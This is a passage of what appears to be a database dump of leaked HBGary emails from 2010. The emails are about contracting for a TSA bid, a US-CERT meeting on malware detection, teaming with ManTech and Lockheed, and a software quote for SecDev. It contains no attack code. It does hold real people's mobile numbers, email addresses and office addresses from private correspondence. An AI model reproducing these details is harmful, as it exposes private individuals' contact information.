thanks for taking the time this morning, it was a good and fun conversation.\r\n>>> \r\n>>> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n>>> \r\n>>> Nathan\r\n>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',765,'aaron_hbgary_com/765.html'),(11582,'2010-09-10','\"Chris Coulter\" <chris.coulter@SkoutForensics.com>','/aaron@hbgary.com/new/1297008729.M813122P14101Q6437.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Need an ediscovery person in your area to support hbgary on a tsa','\r\n\r\nRe: Need an ediscovery person in your area to support hbgary on a tsa\r\n\r\n\r\nHi Aaron, \r\n\r\n&nbsp;Thanks for passing along my info, I spoke with John and Bill today from DMI &#8211; the RFP sounds interesting. I am available anytime tomorrow please let me know what time is good to catch up? \r\n\r\nThanks, \r\n\r\nChris Coulter\r\n\r\nSkout Forensics\r\nMobile: 202.407.1730\r\nOffice: 703.755.0001\r\n1915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102\r\nChris.Coulter@SkoutForensics.com\r\n \r\n\r\n\r\nOn 9/9/10 10:43 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Chris,\r\n\r\nWere you contacted by DMI today? &nbsp;Sorry I didn\'t catch up with you I was swamped. &nbsp;Do you have any time tomorrow to chat briefly?\r\n\r\nAaron\r\n\r\nOn Sep 8, 2010, at 8:36 PM, Chris Coulter wrote:\r\n\r\nHello Aaron, \r\n\r\n&nbsp;My name is Chris Coulter Co-Founder of Skout Forensics and a close contact of Shane Shook, as well an acquaintance of Penny and Greg (HBGary and Skout Forensics share an OEM agreement). Shane reached out to me regarding a requirement for an eDiscovery individual to assist with the TSA.\r\n\r\nWhile I have been devoted to Skout Forensics over the past several months, I now have a considerable amount of down-time ahead of me while a key product of ours is being developed. I have actually been pursuing contracts over the past couple of weeks. I have a broad understanding of most systems infrastructures and the security issues that exist. I am familiar with HBGary\'s Suite of products and have working knowledge of them. Specifically though, my focus is Computer Forensics and the eDiscovery lifecycle. I am available anytime tonight or tomorrow if you wish to follow up. Also for your reference I have attached my resume. \r\n\r\nThank you, \r\n\r\nChris Coulter\r\n\r\nSkout Forensics\r\nMobile: 202.407.1730\r\nOffice: 703.755.0001\r\n1915-B Chain Bridge Rd. #1\r\nMcLean, VA 22102\r\nChris.Coulter@SkoutForensics.com &lt;x-msg://626/Chris.Coulter@SkoutForensics.com&gt; \r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n------ Forwarded Message\r\nFrom: Shane Shook &lt;sdshook@yahoo.com &lt;x-msg://626/sdshook@yahoo.com&gt; &gt;\r\nReply-To: Shane Shook &lt;sdshook@yahoo.com &lt;x-msg://626/sdshook@yahoo.com&gt; &gt;\r\nDate: Thu, 9 Sep 2010 00:01:52 +0000\r\nTo: Chris Coulter &lt;Chris.Coulter@SkoutForensics.com &lt;x-msg://626/Chris.Coulter@SkoutForensics.com&gt; &gt;\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a tsagig\r\n\r\nI\'m sure either you or your friend would be good - call aaron barr at hbgary and share the details\r\n\r\nAaron@hbgary.com &lt;x-msg://626/Aaron@hbgary.com&gt; &nbsp;\r\n\r\n\r\n- Shane \r\n------Original Message------\r\nFrom: Chris Coulter\r\nTo: Shane Shook\r\nSubject: Re: Need an ediscovery person in your area to support hbgary on a tsagig\r\nSent: Sep 8, 2010 7:02 AM\r\n\r\nHey Shane,\r\n&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Is this something I could do? Actually started pursuing contracts\r\nthrough Kaylan\'s company. Skout is very slow for the time being or until\r\ndevelopment is completed, we are 1 month development checkpoints. The kit is\r\non autopilot now, the big sales are almost finalized and the small-one off\r\nsales are being done by the distributors.\r\n\r\n&nbsp;If not a close friend who I think left Stroz might be doing some\r\nindependent work currently. I will check and see.\r\n\r\n\r\nAlso just got off the phone with Tomas Castrajon from Deloitte (now General\r\nDynamics), mentioned you specifically when I brought up PwC.\r\n\r\n\r\n\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n\r\n\r\n------ End of Forwarded Message\r\n&lt;Christopher Coulter-Resume.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5945,'aaron_hbgary_com/5945.html'),(11583,'2010-09-10','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008730.M268846P14101Q6439.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: US-CERT','Thanks Aaron, glad to hear you are making good inroads with US-CERT.\r\n\r\nEric\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 2:38 PM\r\nTo: Eifert, Eric J.\r\nSubject: US-CERT\r\n\r\nEric,\r\n\r\nFYI...\r\n\r\nI met with US-CERT folks today regarding our TMC (volume malware processor).  Self-admittidly it needs some work, but I briefed to them where we are and where we are going in the short term and they liked the path and are going to work with us to evolve it to something that is directly useful to their mission.  Since they are so willing and open to share malware and work with us I will use them as the test case but I believe in a short period of time, once we have some other features added, it will be directly beneficial to all CERT/SOC requirements.\r\n\r\nAaron\r\n',7698,'aaron_hbgary_com/7698.html'),(11584,'2010-09-10','\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>','/aaron@hbgary.com/new/1297008730.M49403P14101Q6438.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','RE: Gatorbait','\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks, Aaron.&nbsp; We look forward to your in-put.\r\n&nbsp;\r\nJeremy\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 9:40 PM\r\nTo: Windle, Amanda J\r\nCc: Simpson, Patrick B; Gage, Jeremy R\r\nSubject: Re: Gatorbait\r\n\r\n\r\n\r\nok great.\r\n\r\n\r\nSo on case collaboration we have some technology that we build a few years back called inspector which was a team forensics tool, so yes, although honestly not sure how good it is, I will have to revisit. &nbsp;We also use Palantir for cyber investigation collaboration,\r\n its goof for that, and we have a strong partnership with them.\r\n\r\n\r\nI will look at the program areas, but off the cuff, we are a forensics, RE type of capability, so those are a no brainer for fit, I will look at the others.\r\n\r\n\r\nWe have basic and advanced malware analysis and reversing training classes we teach pretty regularly, in fact we have a course in Mclean next week.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 4:27 PM, Windle, Amanda J wrote:\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nIn looking at where we are in the prop, we wanted to ask the following of HBGary:\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please review the entire Tech Volume, with a focus on 2.6.2 and 2.6.3\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do you have specific tools for case collaboration or automation of forensic workflows?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;How do your tools fit into the program areas?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Does HBGary have experience developing, or have previously developed, Forensic Training or Reverse Engineering\r\n courses?\r\n\r\n&nbsp;\r\n\r\nThanks in advance, and we look forward to seeing you in the morning,\r\n\r\n&nbsp;\r\n\r\nAmanda J. Windle\r\n\r\nBusiness Development\r\nManTech International Corporation\r\nMission Cyber &amp; Technology Solutions Group\r\n\r\n7799 Leesburg Pike Suite 700 South\r\nFalls Church, VA 22043\r\n703-485-8056&nbsp;office\r\n\r\n703-200-2557 cell\r\n\r\namanda.windle@mantech.com\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive\r\n for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7315,'aaron_hbgary_com/7315.html'),(11585,'2010-09-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008730.M521020P14101Q6440.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aaron\'s meeting with the US-CERT for TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow sounds like a great meeting Aaron….   I’m concerned that\r\nthey think the zeus, Fake-AV is their APT…\r\n\r\n \r\n\r\nHey do you need any firewood for your house this winter?  I’ve\r\ngot more than enough to go around if you’re interested.  You just have to come\r\nand get it and do some log splitting. \r\n\r\n \r\n\r\nTtys,\r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 9:29 PM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Rich Cummings; Bob Slapnik; Joe Pizzo; Phil\r\nWallisch\r\nSubject: Re: Aaron&#39;s meeting with the US-CERT for TMC\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSure.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOverall the meeting went well.  They did have\r\nreservations about DDNA detection for their APT malware.  When I asked\r\nthem what were the flavors of APT malware they mentioned the newer Zeus,\r\nFake-AV malware, which made me go hmmmm.... because I was under the impression\r\nwe do great on those.  I talked to Greg afterwards and he mentioned\r\nsomething that has been mentioned before which is they might not be allowing\r\nthe dropper to actually download the malware and are just running it against a\r\nitty bitty dropper, no go.  Soooo I asked for some malware samples to help\r\nus improve our technology and they said they would send what we needed.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn the TMC.  They liked where we were going which is\r\nthis.\r\n\r\n\r\n\r\n\r\n\r\nProvide TMC with DDNA results for volume malware (done).\r\n\r\n\r\n\r\n\r\n\r\nProvide a UI with a querable capability to search for IOCs\r\nwithin the database (not too difficult).\r\n\r\n\r\n\r\n\r\n\r\nProvide reports similiar to those of CWSandbox and Anubis\r\n(not to difficult).\r\n\r\n\r\n\r\n\r\n\r\nHook in Fingerprint (not too difficult).\r\n\r\n\r\n\r\n\r\n\r\nHook in Palantir (last piece - Palantir is going to do most\r\nof this work for us).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThey like all these pieces.  The piece they asked for\r\nwas the ability to add IOCs to DDNA so they can alert on things that are not\r\nbeing caught by DDNA.  After talking with Greg, all the data is their in\r\nthe TMC just to run crafted IOCs against what exists.  We could develop a\r\nprocess to automate this in some way if they wanted.  Meaning at to an IOC\r\nlist and run all malware analysis against those IOCs during normal processing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThey also like our IR concept of combining End Games,\r\nFidelis, and AD as part of an IR package.  The lead IR guys exact comment\r\nwas, &quot;Thats smart&quot;. :)  So I will follow up with Sean to get in\r\nfront of Nick (IR Guy) to talk specifically about that.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 9:03 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron had a hugely successful meeting with the\r\nUS-CERT.   \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe outcome is twofold:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n1. There is very high interest. We have to\r\n&quot;productize&quot; the Center.  And, Aaron believes this is a\r\nmulti-million dollar sale.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n2. The US-CERT will be providing malware samples to Aaron to\r\nhelp us improve DDNA detection.  They claim that detection rates for APT\r\nare low.   \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron, can you provide a write up for us please?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThank you \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2298,'aaron_hbgary_com/2298.html'),(11586,'2010-09-10','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008730.M810096P14101Q6441.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev needs a quote','Hi Aaron,The address to ship to would be:Nart VilleneuveThe SecDev Group172 Davenport RoadToronto, Ontario&nbsp;M5R 1J2CanadaPhone: &nbsp;(416) 926-3983Thanks,Arnav\r\n\r\nOn 2010-09-09, at 9:29 PM, Arnav Manchanda wrote:Hi Aaron,This is great, we\'ll take it! :)Re: our use for it for the large telco, we need it quite urgent for Monday morning - is there a way this can be facilitated (e.g. a temporary license) until he gets the hard product?How can we do the payment? Can you guys ship to Canada for delivery Monday AM?ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-09-09, at 8:20 PM, Aaron Barr wrote:Sorry for delay.AaronSent from my iPhoneBegin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;\r\nDate: September 9, 2010 8:18:08 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Cc: &lt;carma@hbgary.com&gt;, \"\'Penny Leavy-Hoglund\'\" &lt;penny@hbgary.com&gt;\r\nSubject: RE: SecDev needs a quote\r\n\r\nAaron,&nbsp;Quote is attached.&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;; Penny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCan we get them a quote today?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,&nbsp;Aaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.&nbsp; They don’t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny.&nbsp;\r\nPlease send a quote for SecDev which Aaron will forward to them.&nbsp;I\r\nasked Aaron if HBG Fed would be the reseller.&nbsp; He said he would prefer the\r\ntransaction to go through HBGary.&nbsp; Ask Penny about a finder’s fee for HBG\r\nFed.&nbsp;Bob\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Responder Quote RAS-20100909-3 for SecDev.pdf&gt;',3208,'aaron_hbgary_com/3208.html'),(11587,'2010-09-10','\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>','/aaron@hbgary.com/new/1297008731.M296307P14101Q6443.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL: Update from Ted','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI can meet around 2:30.&nbsp; Does this work?\r\n\r\nbrandon\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 10:39 PM\r\nTo: Pugsley, Brandon\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Brandon,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFriday works best if its still available.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 10:22 AM, Pugsley, Brandon wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWanted to get a quick reply to you.&nbsp; I am working my\r\nschedule to clarify the remainder of this week (Thurs or Friday\r\nafternoon).&nbsp; For next week Monday or Friday afternoon works reasonably\r\nwell.&nbsp; How does this align with your availability?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 10:09 PM\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Ted Vera\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen are some good dates and times for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 1:38 PM, Pugsley, Brandon wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would be happy to meet with Aaron.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera\r\n[mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n03, 2010 1:21 PM\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Barr Aaron\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr (cc\'d) is our CEO, and he\'s located in McLean VA.\r\n&nbsp;I\'d like to hand you over to him, and perhaps you two can set up a\r\nface-to-face discussion. &nbsp;Does that sound alright to you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 11:00 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m located in\r\nHerndon, VA and have some flexibility.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n03, 2010 12:44 PM\r\nTo:&nbsp;Pugsley, Brandon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just got back from two weeks of back-to-back travel and\r\nplan to be in the office (Colorado Springs) most of this month. &nbsp;Where are\r\nyou physically located?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope you have a nice long weekend too.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 10:41 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI apologize for\r\nthe length of time it has taken me to get back to you.&nbsp; I would like to\r\nfollow-up with you, perhaps meet, and discuss some of the overarching trends\r\nyou are seeing in the community.&nbsp; I have read and digested the whitepapers\r\nthat you provided, and agree with many of your assessments.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know how\r\nyour schedule looks, and have a good Labor Day weekend.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 30,\r\n2010 11:29 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Mcculloch, Scott D\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week HBGary presented\r\nour new Fingerprint application at\r\nBlackhat. &nbsp;Fingerprint examines tool-marks left in executables and\r\nuses them to create a signature that can help with malware attribution\r\nand lineage -- ie finding the bad guys. &nbsp;We released Fingerprint as a\r\nfree download, including the source-code, so organizations can tailor\r\nit to their unique mission and help advance the technology. &nbsp;We have\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nlots of ideas on how this\r\ntechnology can be used in a big way to help\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nthe cyber fight. &nbsp;I look\r\nforward&nbsp;to discussing future teaming opportunities.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou can download and find out more about our Fingerprint tool here:\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nYou can read more about our Blackhat talk here:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLikewise!&nbsp;\r\nScott did send me the whitepapers.&nbsp; Let me get a look and see what\r\ntechnical folks/activities tie in.&nbsp; I&#8217;m working across some of the broader\r\ninitiatives, and your team&#8217;s expertise is well beyond my depth.&nbsp; I look\r\nforward to learning more about what you are working to accomplish, and seeing\r\nif we can leverage it appropriately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrandon Pugsley\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInformation\r\nSystems &amp; Global 